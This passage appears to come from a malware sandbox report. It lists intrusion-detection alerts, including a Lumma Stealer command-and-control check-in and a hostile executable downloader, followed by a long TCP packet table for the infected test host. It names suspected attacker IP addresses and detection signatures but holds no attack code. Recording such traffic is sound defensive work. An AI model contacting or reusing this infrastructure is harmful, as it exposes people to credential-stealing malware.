2024-12-28T10:03:22.392169+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49733	172.67.157.254	443	TCP
2024-12-28T10:03:25.092843+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49742	172.67.157.254	443	TCP
2024-12-28T10:03:27.631717+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49748	172.67.157.254	443	TCP
2024-12-28T10:03:32.697303+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49759	172.67.157.254	443	TCP
2024-12-28T10:03:34.587438+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49759	172.67.157.254	443	TCP
2024-12-28T10:03:36.040666+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49766	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2024 10:03:00.242580891 CET	443	49706	20.190.177.146	192.168.2.6
Dec 28, 2024 10:03:00.243438959 CET	49706	443	192.168.2.6	20.190.177.146
Dec 28, 2024 10:03:00.243438959 CET	49706	443	192.168.2.6	20.190.177.146
Dec 28, 2024 10:03:00.363209963 CET	443	49706	20.190.177.146	192.168.2.6
Dec 28, 2024 10:03:00.363253117 CET	443	49706	20.190.177.146	192.168.2.6
Dec 28, 2024 10:03:00.363307953 CET	443	49706	20.190.177.146	192.168.2.6
Dec 28, 2024 10:03:00.363357067 CET	443	49706	20.190.177.146	192.168.2.6
Dec 28, 2024 10:03:00.363445044 CET	443	49706	20.190.177.146	192.168.2.6
Dec 28, 2024 10:03:00.738523960 CET	443	49706	20.190.177.146	192.168.2.6
Dec 28, 2024 10:03:00.738562107 CET	443	49706	20.190.177.146	192.168.2.6
Dec 28, 2024 10:03:00.738580942 CET	443	49706	20.190.177.146	192.168.2.6
Dec 28, 2024 10:03:00.738677979 CET	443	49706	20.190.177.146	192.168.2.6
Dec 28, 2024 10:03:00.738737106 CET	443	49706	20.190.177.146	192.168.2.6
Dec 28, 2024 10:03:00.738748074 CET	443	49706	20.190.177.146	192.168.2.6
Dec 28, 2024 10:03:00.738771915 CET	49706	443	192.168.2.6	20.190.177.146
Dec 28, 2024 10:03:00.738771915 CET	49706	443	192.168.2.6	20.190.177.146
Dec 28, 2024 10:03:00.738814116 CET	49706	443	192.168.2.6	20.190.177.146
Dec 28, 2024 10:03:00.746798992 CET	443	49706	20.190.177.146	192.168.2.6
Dec 28, 2024 10:03:00.746875048 CET	443	49706	20.190.177.146	192.168.2.6
Dec 28, 2024 10:03:00.746949911 CET	49706	443	192.168.2.6	20.190.177.146
Dec 28, 2024 10:03:00.755125999 CET	443	49706	20.190.177.146	192.168.2.6
Dec 28, 2024 10:03:00.755203962 CET	443	49706	20.190.177.146	192.168.2.6
Dec 28, 2024 10:03:00.755254984 CET	49706	443	192.168.2.6	20.190.177.146
Dec 28, 2024 10:03:01.981847048 CET	49674	443	192.168.2.6	173.222.162.64
Dec 28, 2024 10:03:01.981852055 CET	49673	443	192.168.2.6	173.222.162.64
Dec 28, 2024 10:03:02.141577005 CET	443	49708	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:02.141685963 CET	49708	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:02.146305084 CET	49708	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:02.146327019 CET	443	49708	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:02.146589041 CET	443	49708	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:02.147774935 CET	49708	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:02.147840977 CET	49708	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:02.147846937 CET	443	49708	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:02.147947073 CET	49708	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:02.184844017 CET	49672	443	192.168.2.6	173.222.162.64
Dec 28, 2024 10:03:02.191337109 CET	443	49708	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:02.709270954 CET	443	49708	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:02.709462881 CET	443	49708	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:02.709619045 CET	49708	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:02.709670067 CET	49708	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:02.709695101 CET	443	49708	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:08.548155069 CET	49709	443	192.168.2.6	23.55.153.106
Dec 28, 2024 10:03:08.548201084 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:08.548273087 CET	49709	443	192.168.2.6	23.55.153.106
Dec 28, 2024 10:03:08.574886084 CET	49709	443	192.168.2.6	23.55.153.106
Dec 28, 2024 10:03:08.574908972 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:10.017163038 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:10.017417908 CET	49709	443	192.168.2.6	23.55.153.106
Dec 28, 2024 10:03:10.092433929 CET	49709	443	192.168.2.6	23.55.153.106
Dec 28, 2024 10:03:10.092492104 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:10.093660116 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:10.137871981 CET	49709	443	192.168.2.6	23.55.153.106
Dec 28, 2024 10:03:10.367736101 CET	49710	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:10.367789984 CET	443	49710	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:10.367860079 CET	49710	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:10.368885040 CET	49710	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:10.368897915 CET	443	49710	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:10.458724022 CET	49709	443	192.168.2.6	23.55.153.106
Dec 28, 2024 10:03:10.499346018 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:11.204046965 CET	49711	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:11.204108000 CET	443	49711	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:11.204211950 CET	49711	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:11.204803944 CET	49711	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:11.204822063 CET	443	49711	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:11.222460032 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:11.222491026 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:11.222532034 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:11.222553968 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:11.222564936 CET	49709	443	192.168.2.6	23.55.153.106
Dec 28, 2024 10:03:11.222582102 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:11.222603083 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:11.222630024 CET	49709	443	192.168.2.6	23.55.153.106
Dec 28, 2024 10:03:11.222665071 CET	49709	443	192.168.2.6	23.55.153.106
Dec 28, 2024 10:03:11.324677944 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:11.324744940 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:11.324765921 CET	49709	443	192.168.2.6	23.55.153.106
Dec 28, 2024 10:03:11.324812889 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:11.324851036 CET	49709	443	192.168.2.6	23.55.153.106
Dec 28, 2024 10:03:11.357292891 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:11.357377052 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:11.357429981 CET	49709	443	192.168.2.6	23.55.153.106
Dec 28, 2024 10:03:11.357470989 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:11.357516050 CET	49709	443	192.168.2.6	23.55.153.106
Dec 28, 2024 10:03:11.357537985 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:11.357582092 CET	49709	443	192.168.2.6	23.55.153.106
Dec 28, 2024 10:03:11.368777990 CET	49709	443	192.168.2.6	23.55.153.106
Dec 28, 2024 10:03:11.368824005 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:11.368846893 CET	49709	443	192.168.2.6	23.55.153.106
Dec 28, 2024 10:03:11.368855000 CET	443	49709	23.55.153.106	192.168.2.6
Dec 28, 2024 10:03:11.516093969 CET	49713	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:11.516144037 CET	443	49713	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:11.516216040 CET	49713	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:11.516561031 CET	49713	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:11.516572952 CET	443	49713	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:11.590986013 CET	49673	443	192.168.2.6	173.222.162.64
Dec 28, 2024 10:03:11.590996027 CET	49674	443	192.168.2.6	173.222.162.64
Dec 28, 2024 10:03:11.794136047 CET	49672	443	192.168.2.6	173.222.162.64
Dec 28, 2024 10:03:12.636079073 CET	443	49710	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:12.636151075 CET	49710	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:12.640446901 CET	49710	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:12.640466928 CET	443	49710	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:12.640718937 CET	443	49710	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:12.684725046 CET	49710	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:12.786967993 CET	443	49713	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:12.787081003 CET	49713	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:12.820468903 CET	49710	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:12.820539951 CET	49710	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:12.820547104 CET	443	49710	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:12.820874929 CET	49710	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:12.823147058 CET	49713	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:12.823158979 CET	443	49713	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:12.824193954 CET	443	49713	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:12.825723886 CET	49713	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:12.825750113 CET	49713	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:12.825890064 CET	443	49713	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:12.863336086 CET	443	49710	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:13.491245031 CET	443	49710	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:13.491349936 CET	443	49710	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:13.492027998 CET	49710	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:13.492655993 CET	49710	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:13.492655993 CET	49710	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:13.492676973 CET	443	49710	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:13.495114088 CET	443	49711	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:13.495338917 CET	49711	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:13.497375011 CET	49711	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:13.497386932 CET	443	49711	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:13.497658014 CET	443	49711	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:13.499085903 CET	49711	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:13.499085903 CET	49711	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:13.499105930 CET	443	49711	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:13.499234915 CET	49711	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:13.539336920 CET	443	49711	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:13.540661097 CET	443	49713	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:13.540939093 CET	443	49713	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:13.541122913 CET	49713	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:13.541122913 CET	49713	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:13.541172981 CET	49713	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:13.541194916 CET	443	49713	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:13.576849937 CET	49715	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:13.576924086 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:13.577020884 CET	49715	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:13.577363014 CET	49715	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:13.577378988 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:14.050487041 CET	443	49711	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:14.050574064 CET	443	49711	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:14.050892115 CET	49711	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:14.051249981 CET	49711	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:14.051270962 CET	443	49711	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:14.051301003 CET	49711	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:14.305799007 CET	443	49702	173.222.162.64	192.168.2.6
Dec 28, 2024 10:03:14.305916071 CET	49702	443	192.168.2.6	173.222.162.64
Dec 28, 2024 10:03:14.792387962 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:14.792471886 CET	49715	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:14.794102907 CET	49715	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:14.794123888 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:14.794359922 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:14.795751095 CET	49715	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:14.795779943 CET	49715	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:14.795824051 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:15.561625957 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:15.561836958 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:15.561912060 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:15.561918974 CET	49715	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:15.561947107 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:15.562000036 CET	49715	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:15.562016010 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:15.569869041 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:15.569928885 CET	49715	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:15.569938898 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:15.578227997 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:15.578279972 CET	49715	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:15.578289986 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:15.622204065 CET	49715	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:15.622225046 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:15.669070959 CET	49715	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:15.680883884 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:15.731564045 CET	49715	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:15.731581926 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:15.753012896 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:15.753071070 CET	49715	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:15.753082991 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:15.756956100 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:15.757162094 CET	49715	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:15.757266045 CET	49715	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:15.757294893 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:15.757308960 CET	49715	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:15.757316113 CET	443	49715	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:15.957868099 CET	49716	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:15.957967997 CET	443	49716	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:15.958060980 CET	49716	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:15.958435059 CET	49716	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:15.958461046 CET	443	49716	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:17.271354914 CET	443	49716	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:17.271457911 CET	49716	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:17.272592068 CET	49716	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:17.272615910 CET	443	49716	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:17.273437023 CET	443	49716	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:17.274589062 CET	49716	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:17.274713039 CET	49716	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:17.274777889 CET	443	49716	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:18.564488888 CET	443	49716	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:18.564585924 CET	443	49716	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:18.564668894 CET	49716	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:18.569710970 CET	49716	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:18.569777012 CET	443	49716	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:18.650791883 CET	49723	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:18.650841951 CET	443	49723	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:18.650918007 CET	49723	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:18.651195049 CET	49723	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:18.651209116 CET	443	49723	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:19.907191992 CET	443	49723	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:19.907327890 CET	49723	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:19.908637047 CET	49723	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:19.908644915 CET	443	49723	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:19.908884048 CET	443	49723	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:19.910235882 CET	49723	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:19.910434008 CET	49723	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:19.910461903 CET	443	49723	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:19.910521030 CET	49723	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:19.955319881 CET	443	49723	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:20.885333061 CET	443	49723	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:20.885426998 CET	443	49723	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:20.885483980 CET	49723	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:20.885642052 CET	49723	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:20.885659933 CET	443	49723	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:21.088701010 CET	49733	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:21.088738918 CET	443	49733	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:21.088838100 CET	49733	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:21.089119911 CET	49733	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:21.089133024 CET	443	49733	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:22.392091036 CET	443	49733	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:22.392168999 CET	49733	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:22.393423080 CET	49733	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:22.393440962 CET	443	49733	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:22.393682003 CET	443	49733	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:22.394895077 CET	49733	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:22.395018101 CET	49733	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:22.395056963 CET	443	49733	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:22.395121098 CET	49733	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:22.395133018 CET	443	49733	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:22.769093037 CET	49735	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:22.769144058 CET	443	49735	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:22.769222975 CET	49735	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:22.769743919 CET	49735	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:22.769763947 CET	443	49735	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:23.421417952 CET	443	49733	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:23.421515942 CET	443	49733	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:23.421571016 CET	49733	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:23.421722889 CET	49733	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:23.421742916 CET	443	49733	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:23.788077116 CET	49742	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:23.788130999 CET	443	49742	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:23.788197994 CET	49742	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:23.788496971 CET	49742	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:23.788508892 CET	443	49742	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:25.092761040 CET	443	49742	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:25.092843056 CET	49742	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:25.103840113 CET	49742	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:25.103863001 CET	443	49742	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:25.104104996 CET	443	49742	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:25.105424881 CET	49742	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:25.105751991 CET	49742	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:25.105757952 CET	443	49742	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:25.441390038 CET	443	49735	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:25.441488981 CET	49735	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:25.443547964 CET	49735	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:25.443555117 CET	443	49735	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:25.443814993 CET	443	49735	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:25.472649097 CET	49735	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:25.472718000 CET	49735	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:25.472731113 CET	443	49735	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:25.472949982 CET	49735	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:25.515340090 CET	443	49735	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:25.893415928 CET	443	49742	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:25.893510103 CET	443	49742	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:25.893603086 CET	49742	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:25.893728971 CET	49742	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:25.893747091 CET	443	49742	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:26.033246040 CET	443	49735	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:26.033343077 CET	443	49735	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:26.033405066 CET	49735	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:26.033739090 CET	49735	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:26.033765078 CET	443	49735	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:26.373550892 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:26.373621941 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:26.373709917 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:26.374170065 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:26.374190092 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:27.631519079 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:27.631716967 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:27.632932901 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:27.632946014 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:27.633183956 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:27.652292967 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:27.653050900 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:27.653090954 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:27.653193951 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:27.653234005 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:27.653382063 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:27.653418064 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:27.653562069 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:27.653597116 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:27.653753996 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:27.653800011 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:27.653965950 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:27.654000044 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:27.654009104 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:27.654021978 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:27.654160976 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:27.654192924 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:27.654220104 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:27.654241085 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:27.654365063 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:27.654400110 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:27.699331999 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:27.699583054 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:27.699615002 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:27.699645996 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:27.699662924 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:27.699686050 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:27.699701071 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:27.699862957 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:27.699883938 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:31.439265966 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:31.439366102 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:31.439451933 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:31.439677000 CET	49748	443	192.168.2.6	172.67.157.254
Dec 28, 2024 10:03:31.439687014 CET	443	49748	172.67.157.254	192.168.2.6
Dec 28, 2024 10:03:31.485527039 CET	49759	443	192.168.2.6	172.67.157.254
